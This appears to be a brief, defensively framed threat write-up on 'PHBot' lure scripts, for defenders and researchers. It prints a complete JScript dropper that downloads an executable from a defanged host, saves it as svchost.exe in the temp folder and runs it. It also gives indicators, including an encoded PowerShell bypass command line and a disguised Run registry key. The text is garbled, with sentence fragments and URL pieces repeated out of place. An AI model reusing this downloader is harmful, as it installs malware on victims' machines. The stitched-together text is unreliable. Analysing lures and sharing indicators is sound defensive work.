Phbot Lure Script (2026)

var url = "hxxp://platinumsoft[.]site/phbot.exe"; var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1"); WinHttpReq.Open("GET", url, false); WinHttpReq.Send(); if (WinHttpReq.Status == 200) var stream = new ActiveXObject("ADODB.Stream"); stream.Open(); stream.Type = 1; stream.Write(WinHttpReq.ResponseBody); stream.SaveToFile("%temp%\\svchost.exe", 2); var shell = new ActiveXObject("WScript.Shell"); shell.Run("%temp%\\svchost.exe");

Delivery: .docm file with auto-executing macro. phbot lure script

For defenders, the message is clear: Invest in script-based detection, enforce Constrained Language Mode, and educate users to never enable macros or run unexpected .js files. var url = "hxxp://platinumsoft[

For researchers, reverse engineering PHBot lure scripts offers a window into the attacker’s tradecraft. Catalog the C2 URLs, deobfuscate the base64 layers, and share the IOCs. Every lure script you sink is one PHBot that never wakes up. | Component | Indicator Example | | :--- | :--- | | Lure Filename | order_details.js , invoice_2025.vbs , payment_slip.ps1 | | PowerShell Cmdline | powershell -exec bypass -enc SQBFAFgA... | | URL Pattern | hxxp://[a-z0-9]5,15\.com/phbot/setup.exe | | Registry Run Key | HKCU\...\Run: "WindowsDriverUpdate" = "%TEMP%\svchost.exe" | | Parent-Child Process | Outlook.exe -> wscript.exe -> powershell.exe | Catalog the C2 URLs, deobfuscate the base64 layers,

Stay vigilant. Don't take the bait.